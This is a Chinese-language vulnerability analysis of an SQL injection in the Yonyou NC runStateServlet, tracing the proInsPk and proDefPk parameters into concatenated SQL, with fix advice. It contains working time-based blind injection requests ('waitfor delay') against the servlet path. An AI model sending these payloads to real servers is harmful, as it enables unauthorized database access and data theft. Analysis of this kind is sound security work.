用友NC runStateServlet注入漏洞分析
字数 993 2025-08-19 12:42:18
用友NC runStateServlet SQL注入漏洞分析与复现
漏洞概述
用友NC系统的runStateServlet组件存在SQL注入漏洞,攻击者可通过构造恶意请求利用该漏洞获取数据库敏感信息。漏洞存在于nc.uap.wfm.action.RunStateServlet类中,由于未对用户输入的proInsPk和proDefPk参数进行有效过滤,导致SQL注入风险。
漏洞分析
漏洞代码路径
C:\yonyou\home\modules\webimp\lib\pubwebimp_cpwfmLevel-1\nc\uap\wfm\action\RunStateServlet.java
关键代码分析
- Servlet入口点:
@Servlet(path="/servlet/runStateServlet")
public class RunStateServlet extends WfBaseServlet {
@Action(method="POST")
public void doPost() {
// 获取用户输入参数
String proInsPk = this.request.getParameter("proInsPk");
String prodefPk = this.request.getParameter("proDefPk");
if (StringUtils.isNotBlank(proInsPk) && !"null".equals(proInsPk) ||
StringUtils.isNotBlank(prodefPk) && !"null".equals(prodefPk)) {
// 将参数传入getRenderProcessXml方法
XMLUtil.printDOMTree(out, FlowImgRender.getRenderProcessXml(proInsPk, prodefPk), 0, "UTF-8");
}
}
}
- 参数传递链:
-
proInsPk参数传递路径:RunStateServlet.doPost() → FlowImgRender.getRenderProcessXml() → WfmProinsUtil.getProInsByProInsPk() → WfmEngineUIAdapterFactory.getInstance().getProInsByProinsPk() → WfmCpEngineUIAdapter.getProInsByProinsPk() → WfmServiceFacility.getProInsQry().getProInsByPk() → WfmProInsQry.getProInsVOByPk() -
proDefPk参数传递路径:RunStateServlet.doPost() → FlowImgRender.getRenderProcessXml() → WfmProDefUtil.getProDefByProDefPk() → WfmEngineUIAdapterFactory.getInstance().getProDefByProDefPk() → WfmCpEngineUIAdapter.getProDefByProDefPk() → ProDefsContainer.getByProDefPkAndId() → WfmProDefQry.getProDefVOByProDefPk()
- SQL注入点:
-
proInsPk参数注入点:
最终在WfmProInsQry.getProInsVOByPk()方法中,proInsPk参数被直接拼接到SQL查询中。 -
proDefPk参数注入点:
在WfmProDefQry.getProDefVOByProDefPk()方法中直接拼接SQL:
public WfmProdefVO getProDefVOByProDefPk(String proDefPk) throws WfmServiceException {
PtBaseDAO dao = new PtBaseDAO();
SuperVO[] superVos = null;
try {
// 直接拼接用户输入到SQL语句中
superVos = dao.queryByCondition(WfmProdefVO.class, "pk_prodef='" + proDefPk + "'");
} catch (DAOException e) {
// 错误处理
}
// 返回结果处理
}
漏洞复现
复现环境
- 用友NC系统(受影响版本)
- 攻击机:任意可发送HTTP请求的工具(如Burp Suite、Postman、curl等)
复现步骤
- proInsPk参数注入:
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proInsPk=1'waitfor+delay+'0:0:6'-- HTTP/1.1
Host: target.com:8088
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Content-Length: 19
- proDefPk参数注入:
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:6'-- HTTP/1.1
Host: target.com:8088
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
Content-Length: 19
- 观察响应:
- 如果存在漏洞,服务器会延迟6秒响应
- 可通过时间盲注技术逐步获取数据库信息
漏洞修复建议
-
参数过滤:
对所有用户输入的参数进行严格的过滤和验证,特别是用于数据库查询的参数。 -
使用预编译语句:
修改WfmProDefQry.getProDefVOByProDefPk()等方法,使用参数化查询:
// 修改后的安全代码示例
public WfmProdefVO getProDefVOByProDefPk(String proDefPk) throws WfmServiceException {
PtBaseDAO dao = new PtBaseDAO();
SuperVO[] superVos = null;
try {
// 使用参数化查询
String sql = "pk_prodef=?";
superVos = dao.queryByConditionWithParam(WfmProdefVO.class, sql, new Object[]{proDefPk});
} catch (DAOException e) {
// 错误处理
}
// 返回结果处理
}
- 输入验证:
在Servlet入口处添加输入验证:
if (!isValidId(proInsPk) || !isValidId(prodefPk)) {
throw new IllegalArgumentException("Invalid parameter");
}
- 最小权限原则:
数据库连接使用最小必要权限账户,限制攻击者可获取的信息范围。
总结
该漏洞是由于用友NC系统在处理runStateServlet请求时,未对用户输入的proInsPk和proDefPk参数进行有效过滤,导致SQL注入漏洞。攻击者可利用此漏洞获取数据库敏感信息,甚至可能进一步控制服务器。建议用户及时更新补丁或按照修复建议进行代码修改。